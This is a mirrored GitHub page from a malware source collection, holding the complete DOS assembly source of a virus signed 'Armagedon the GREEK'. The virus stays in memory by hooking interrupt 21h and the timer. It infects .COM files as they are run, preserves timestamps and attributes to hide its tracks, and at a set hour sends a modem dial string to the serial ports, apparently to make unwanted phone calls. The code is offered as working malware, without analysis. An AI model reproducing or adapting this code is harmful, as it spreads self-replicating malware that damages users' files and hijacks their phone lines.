mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
524 lines
17 KiB
NASM
524 lines
17 KiB
NASM
dta equ offset last_byte+10
|
||
virlen equ (offset last_byte - offset start)
|
||
strlen equ (offset endstr - offset startstr)
|
||
|
||
code segment
|
||
assume cs:code,ds:code
|
||
org 100h
|
||
start: jmp main
|
||
|
||
newint21 proc far ; SETS THE 'INT 21h' VIRUSED
|
||
pushf ; Save flags for compare
|
||
cmp ah,0e0h ; Is it exist-test?
|
||
jnz notest1 ; if not go on
|
||
mov ax,0dadah ; else return signature,
|
||
popf ; restore flag and
|
||
iret ; return to program
|
||
notest1: cmp ah,0e1h
|
||
jnz notest2
|
||
mov ax,cs
|
||
popf
|
||
iret
|
||
notest2: cmp ax,4b00h ; is 'EXEC' command?
|
||
jz infector ; if yes go to 'infection'
|
||
do_oldint: popf ; restore flags
|
||
jmp dword ptr cs:oldint21a; jump to normal INT 21h
|
||
newint21 endp
|
||
|
||
oldint21a dw ? ; old INT 21h vector (low)
|
||
oldint21b dw ? ; old INT 21h vector (high)
|
||
oldint8a dw ? ; old INT 8 vector (low)
|
||
oldint8b dw ? ; old INT 8 vector (high)
|
||
status db 0 ; flag for time (call in progress)
|
||
ticks db 0 ; 18.2 tick counter
|
||
cur_h db 0 ; Current time (HOURS)
|
||
cur_m db 0 ; Current time (MINUTES)
|
||
cur_s db 0 ; Current time (SECONDS)
|
||
count dw 0 ; dial counter (30 sec, 540 ticks)
|
||
garbidge db 0
|
||
stringpos db 0
|
||
call_made db 0
|
||
init_done db 0
|
||
comext db 'COM' ; Valid inf. extension
|
||
handle dw ? ; inf. handle number
|
||
filesize dw 20
|
||
prseg dw ?
|
||
seg_buffer dw ?
|
||
ss_reg dw ?
|
||
sp_reg dw ?
|
||
fileds dw ?
|
||
filedx dw ?
|
||
attr dw ?
|
||
filedate dw ?
|
||
filetime dw ?
|
||
|
||
env_seg dw 00h
|
||
cdline_offs dw 81h
|
||
cdline_seg dw ?
|
||
fcb1_offs dw 5ch
|
||
fcb1_seg dw ?
|
||
fcb2_offs dw 6ch
|
||
fcb2_seg dw ?
|
||
|
||
infector proc near ; PROGRAM INFECTOR
|
||
assume cs:code ;
|
||
push ds ; save registers to
|
||
push bx ; insure normal operation
|
||
push si ; by the INT 21h (ah=4b00h)
|
||
push cx ;
|
||
push ax ;
|
||
push dx ;
|
||
push bp ;
|
||
push es ;
|
||
push di ;
|
||
|
||
cld ; Reset direction to increament
|
||
push dx ; Store the address of the
|
||
push ds ; filespec (DS:DX)
|
||
xor cx,cx ; reset counter
|
||
mov si,dx ; set ptr to filespec
|
||
nxtchr: mov al,ds:[si] ; take a char
|
||
cmp al,0 ; is it zero?
|
||
jz okay ; if yes goto okay
|
||
inc cx ; else increase counter
|
||
inc si ; and pointer
|
||
jmp nxtchr ; take the next chr if CX>0
|
||
okay:
|
||
add dx,cx ; Point to end of filespec
|
||
sub dx,3 ; point to .EXT
|
||
mov si,offset comext ; Check if it is a
|
||
mov di,dx ; .COM file
|
||
cmp byte ptr ds:[di-3],'N';
|
||
jnz ok_1 ; Is it a ND. ?
|
||
cmp byte ptr ds:[di-2],'D'; if yes exit!
|
||
jz nmatch ;
|
||
ok_1: mov cx,3 ; checking counter in 3
|
||
cmp_loop: mov al,cs:[si] ; take 1st ptr's chr
|
||
cmp al,ds:[di] ; and compare it with filespec
|
||
jnz nmatch ; If no matching, exit
|
||
inc si ; else increase 1st ptr
|
||
inc di ; and second ptr
|
||
loop cmp_loop ; take next compare if CX>0
|
||
|
||
pop ds ; restore ds and dx to point
|
||
pop dx ;
|
||
|
||
push dx ; Store pointer
|
||
push ds ;
|
||
mov si,dx ; Check if filespec
|
||
mov dl,0 ; contains a drive
|
||
cmp byte ptr ds:[si+1],':'; letter
|
||
jnz nodrive ; If no jump to nodrive spec.
|
||
mov dl,ds:[si] ; else take the drive in DL
|
||
and dl,0fh ; and modify for int 21h (ah=36h)
|
||
nodrive: mov ah,36h ; Take free disk space of DL disk
|
||
int 21h ; Do the call
|
||
cmp ax,0ffffh ; Was an invalid drive specified?
|
||
jz nmatch ; if yes, exit
|
||
jmp bypass ; Correct jx 127 limit
|
||
|
||
nmatch: jmp nomatch
|
||
invd: jmp invdrive
|
||
closeit1: jmp closeit
|
||
resdta1: jmp resdta
|
||
|
||
bypass: cmp bx,3 ; Are there at least 3 clust. free?
|
||
jb nmatch ; If no, exit
|
||
pop ds ; restore pointers
|
||
pop dx ;
|
||
|
||
push ds ; and allocate memory
|
||
push dx ; for the infection
|
||
mov cs:fileds,ds
|
||
mov cs:filedx,dx
|
||
mov ax,4300h ; code for Get Attr
|
||
int 21h
|
||
mov cs:attr,cx
|
||
mov ax,4301h
|
||
xor cx,cx
|
||
int 21h
|
||
|
||
mov bx,0ffffh
|
||
mov ah,48h
|
||
int 21h
|
||
mov ah,48h
|
||
int 21h
|
||
mov cs:seg_buffer,ax
|
||
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov dx,dta
|
||
mov ah,1ah
|
||
int 21h
|
||
|
||
pop dx
|
||
pop ds
|
||
mov ax,3d02h ; DosFn OPEN FILE (R/W)
|
||
clc ; Clear carry flag
|
||
int 21h ; Do open
|
||
jc closeit1 ; If Error exit
|
||
mov bx,ax ; Handle to BX
|
||
mov cs:handle,ax ; save handle
|
||
mov cx,0ffffh ; Bytes to read
|
||
mov ax,cs:seg_buffer ;
|
||
mov ds,ax ;
|
||
mov dx,virlen ; DS:DX points to buffer
|
||
mov ah,3fh ; DosFn READ FROM FILE
|
||
clc ; clear carry flag
|
||
int 21h ; Do the call
|
||
jc closeit1 ; if error exit
|
||
mov cs:filesize,ax ; Num of bytes actually read
|
||
;cmp ax,0e000h ; max com size to infect
|
||
;ja closeit1 ; if size>max exit
|
||
cmp ax,virlen ; if filesize is less than the
|
||
jb virit ; virus size then it is clean
|
||
mov si,virlen+1 ; Set 1st ptr to START of file
|
||
add si,si ; add 1st ptr the length of file
|
||
sub si,21 ; and subtract 12 to point to sig.
|
||
mov cx,19 ; set the test loop to 10 bytes
|
||
mov di,offset signature ; Set 2nd ptr to constant signature
|
||
test_sig: mov al,ds:[si] ; take the byte pointed to by SI
|
||
mov ah,cs:[di] ; and compare it with the byte
|
||
cmp ah,al ; pointed to by DI
|
||
jne virit ; if not equal then it is clean!
|
||
inc si ; else increase 1st pointer
|
||
inc di ; increase 2nd pointer
|
||
loop test_sig ; continue with next if CX>0
|
||
jmp closeit
|
||
|
||
virit: mov ax,4200h ; Code for LSEEK (Start)
|
||
mov bx,cs:handle ; Handle num in BX
|
||
xor cx,cx ; Reset CX
|
||
mov dx,cx ; and DX
|
||
int 21h ; Do the call
|
||
jc closeit
|
||
|
||
mov si,offset start
|
||
mov cx,virlen
|
||
xor di,di
|
||
mov ax,cs:seg_buffer
|
||
mov ds,ax
|
||
virusin: mov al,cs:[si]
|
||
mov ds:[di],al
|
||
inc si
|
||
inc di
|
||
loop virusin
|
||
|
||
mov ax,5700h
|
||
mov bx,cs:handle
|
||
int 21h
|
||
mov cs:filetime,cx
|
||
mov cs:filedate,dx
|
||
|
||
mov ax,cs:seg_buffer
|
||
mov ds,ax
|
||
|
||
mov si,virlen
|
||
mov al,ds:[si]
|
||
add al,11
|
||
mov ds:[si],al
|
||
|
||
xor dx,dx ; DX points to Buffer (file)
|
||
mov cx,cs:filesize ; Size of file in CX
|
||
add cx,virlen ; But added by Virlen
|
||
mov bx,cs:handle ; File handle num in BX
|
||
mov ah,40h ; Code for WRITE FILE
|
||
int 21h ; Do the call
|
||
|
||
mov cx,cs:filetime
|
||
mov dx,cs:filedate
|
||
mov bx,cs:handle
|
||
mov ax,5701h
|
||
int 21h
|
||
|
||
closeit: mov bx,cs:handle ; Handle in BX
|
||
mov ah,3eh ; Code for CLOSE FILE
|
||
int 21h ; Do close it
|
||
push cs
|
||
pop ds
|
||
resdta: mov dx,80h ; Reset the DTA
|
||
mov ah,1ah ; in Address 80H
|
||
int 21h ; Do call
|
||
mov ax,cs:seg_buffer
|
||
mov es,ax
|
||
mov ah,49h
|
||
int 21h
|
||
|
||
mov ax,cs:fileds ;
|
||
mov ds,ax ;
|
||
mov dx,cs:filedx ;
|
||
mov ax,4301h ;
|
||
mov cx,cs:attr ;
|
||
int 21h ;
|
||
jmp invdrive ; and exit
|
||
nomatch:
|
||
pop ds
|
||
pop dx
|
||
jmp notinfect
|
||
|
||
invdrive:
|
||
notinfect:
|
||
pop di ; restore registers
|
||
pop es ; to their initial
|
||
pop bp ; values
|
||
pop dx ;
|
||
pop ax ;
|
||
pop cx ;
|
||
pop si ;
|
||
pop bx ;
|
||
pop ds ;
|
||
jmp do_oldint ; return from call
|
||
infector endp
|
||
|
||
newint8 proc far ; VIRUS' TIMER ISR
|
||
push bp ;
|
||
push ds ; store all registers
|
||
push es ; and flags before
|
||
push ax ; the new timer
|
||
push bx ; operations.
|
||
push cx ; Otherwize a 'crush'
|
||
push dx ; is unavoidable
|
||
push si ;
|
||
push di ;
|
||
pushf ; Simulate an INT
|
||
call dword ptr cs:oldint8a ; Do old timer stuff
|
||
call tick ; update virus clock routine
|
||
push cs
|
||
pop ds
|
||
mov ah,5 ; Check if time
|
||
mov ch,cur_h ; is now above the
|
||
cmp ah,ch ; lower limit (5 o'clock)
|
||
ja exitpoint ; if not, exit
|
||
mov ah,6 ; Check if time
|
||
cmp ah,ch ; is now below the higher limit
|
||
jb exitpoint ; if not, exit
|
||
mov ah,status ; get the virus status
|
||
cmp ah,1 ; test if call in progress
|
||
jz in_progress ; if yes goto countdown routine
|
||
mov ah,1 ; if not, set the status to
|
||
mov status,ah ; indicate 'In progress'
|
||
jmp exitpoint ; and exit
|
||
in_progress: ; CALL IS IN PROGRESS!
|
||
call dial ; else call dial routine
|
||
inc count ; CALL_TIMER
|
||
mov ax,count
|
||
cmp ax,540 ; check for time-out
|
||
jne exitpoint ; if not, exit else
|
||
xor ax,ax ; set status to indicate
|
||
mov status,ah ; 'ready to call'!
|
||
mov count,ax ; reset call_timer
|
||
mov call_made,ah
|
||
exitpoint:
|
||
pop di ; restore registers to
|
||
pop si ; their values and
|
||
pop dx ;
|
||
pop cx ;
|
||
pop bx ;
|
||
pop ax ;
|
||
pop es ;
|
||
pop ds ;
|
||
pop bp ;
|
||
iret ; return to program
|
||
newint8 endp
|
||
|
||
tick proc near ; VIRUS' CLOCK ROUTINE
|
||
assume cs:code,ds:code
|
||
push cs
|
||
pop ds
|
||
xor al,al
|
||
mov ah,ticks ; test if ticks have
|
||
cmp ah,17 ; reached limit (17)
|
||
jnz incticks ; if no, incerase ticks
|
||
mov ah,cur_s ; test if seconds have
|
||
cmp ah,59 ; reached limit (59)
|
||
jnz incsec ; if no, increase seconds
|
||
mov ah,cur_m ; test if minutes have
|
||
cmp ah,59 ; reached limit (59)
|
||
jnz incmin ; if no, increase minutes
|
||
mov ah,cur_h ; test if hours have
|
||
cmp ah,23 ; reached limit (23)
|
||
jnz inchour ; if no, increase hours
|
||
mov cur_h,al ; else reset hours
|
||
exitp3: mov cur_m,al ; reset minutes
|
||
exitp2: mov cur_s,al ; reset seconds
|
||
exitp1: mov ticks,al ; reset ticks
|
||
ret ; end exit
|
||
incticks: inc ticks ; increase ticks
|
||
ret ; and exit
|
||
incsec: inc cur_s ; increase seconds
|
||
jmp exitp1 ; and exit
|
||
incmin: inc cur_m ; increase minutes
|
||
jmp exitp2 ; and exit
|
||
inchour: inc cur_h ; increase hours
|
||
jmp exitp3 ; end exit
|
||
tick endp
|
||
|
||
startstr:
|
||
string db '+++aTh0m0s7=35dp081,,,,141'
|
||
endstr:
|
||
|
||
dial proc near
|
||
assume cs:code,ds:code
|
||
|
||
mov al,call_made
|
||
cmp al,1
|
||
jz exit_dial
|
||
mov al,init_done
|
||
cmp al,1
|
||
jz send_one
|
||
|
||
mov cx,3
|
||
next_init: mov dx,cx
|
||
xor ah,ah
|
||
mov al,131
|
||
int 14h
|
||
loop next_init
|
||
mov al,1
|
||
mov init_done,al
|
||
jmp exit_dial
|
||
|
||
send_one: push cs
|
||
pop ds
|
||
mov si,offset string
|
||
mov al,stringpos
|
||
cmp al,strlen
|
||
jnz do_send
|
||
jmp sendret
|
||
|
||
do_send: xor ah,ah
|
||
add si,ax
|
||
next_char: mov al,[si]
|
||
mov dx,3f8h
|
||
out dx,al
|
||
mov dx,2f8h
|
||
out dx,al
|
||
mov dx,2e8h
|
||
out dx,al
|
||
mov dx,3e8h
|
||
out dx,al
|
||
inc stringpos
|
||
jmp exit_dial
|
||
|
||
sendret: mov cx,3
|
||
retloop: mov dx,cx
|
||
mov al,13
|
||
mov ah,1
|
||
int 14h
|
||
loop retloop
|
||
|
||
reset: mov ax,0001h
|
||
mov call_made,al
|
||
mov stringpos,ah
|
||
mov init_done,ah
|
||
exit_dial: ret
|
||
dial endp
|
||
|
||
main: ; VIRUS' MEMORY INSTALLER
|
||
assume cs:code,ds:code ;
|
||
mov ah,0e0h ; is VIRUS already
|
||
int 21h ; in memory?
|
||
cmp ax,0dadah ; if yes then
|
||
jnz cont ; terminate, else
|
||
jmp already_in
|
||
cont: push cs
|
||
pop ds
|
||
mov ax,3521h ; capture the old
|
||
int 21h ; INT 21h vector and
|
||
mov oldint21a,bx ; store the absolute address
|
||
mov oldint21b,es ; in 'oldint21x' variables
|
||
mov dx,offset newint21 ; point to new INT 21h ISR
|
||
mov ax,2521h ; replace it to vector
|
||
int 21h ;
|
||
mov ax,3508h ; capture the old
|
||
int 21h ; timer vector and
|
||
mov oldint8a,bx ; store the address
|
||
mov oldint8b,es ; in 'oldint8x' var
|
||
mov dx,offset newint8 ; point to new timer ISR
|
||
mov ax,2508h ; replace it to vector
|
||
int 21h ;
|
||
mov ah,2ch ; get the current
|
||
int 21h ; time from DOS
|
||
mov cur_h,ch ; and store it
|
||
mov cur_m,cl ; for the
|
||
mov cur_s,dh ; virus' timer
|
||
; RUN PROGRAM!
|
||
mov ax,cs:[2ch]
|
||
mov ds,ax
|
||
xor si,si
|
||
loop1: mov al,ds:[si]
|
||
cmp al,1
|
||
jz exitl1
|
||
inc si
|
||
jmp loop1
|
||
exitl1: inc si
|
||
inc si
|
||
mov dx,si
|
||
|
||
mov ax,cs
|
||
mov es,ax ; SHRINK BLOCK
|
||
mov bx,90
|
||
mov ah,4ah
|
||
int 21h
|
||
|
||
mov bx,cs:[81h]
|
||
mov ax,cs
|
||
mov es,ax
|
||
mov cs:fcb1_seg,ax
|
||
mov cs:fcb2_seg,ax
|
||
mov cs:cdline_seg,ax
|
||
mov ax,4b00h
|
||
;
|
||
;
|
||
;
|
||
mov cs:ss_reg,ss
|
||
mov cs:sp_reg,sp
|
||
pushf
|
||
call dword ptr cs:oldint21a
|
||
mov ax,cs:ss_reg
|
||
mov ss,ax
|
||
mov ax,cs:sp_reg
|
||
mov sp,ax
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov dx,offset last_byte
|
||
int 27h
|
||
|
||
already_in: mov ah,0e1h
|
||
int 21h
|
||
mov si,offset pokelabl
|
||
mov cs:[si+3],ax
|
||
mov ax,offset fix_com
|
||
mov cs:[si+1],ax
|
||
mov ax,cs:filesize
|
||
mov bx,cs
|
||
pokelabl: db 0eah,00h,00h,00h,00h
|
||
|
||
fix_com: mov cx,ax
|
||
mov ds,bx
|
||
mov si,100h
|
||
mov di,100h+virlen
|
||
dofix: mov al,ds:[di]
|
||
mov ds:[si],al
|
||
inc si
|
||
inc di
|
||
loop dofix
|
||
mov si,offset poklb
|
||
mov cs:[si+3],ds
|
||
mov al,ds:[100h]
|
||
sub al,11
|
||
mov ds:[100h],al
|
||
mov ax,ds
|
||
mov es,ax
|
||
mov ss,ax
|
||
poklb: db 0eah,00h,01h,00h,00h
|
||
|
||
signature: db 'Armagedon the GREEK'
|
||
last_byte: db 90h+11
|
||
nop
|
||
nop
|
||
nop
|
||
mov ah,4ch
|
||
int 21h
|
||
code ends
|
||
end start
|
||
|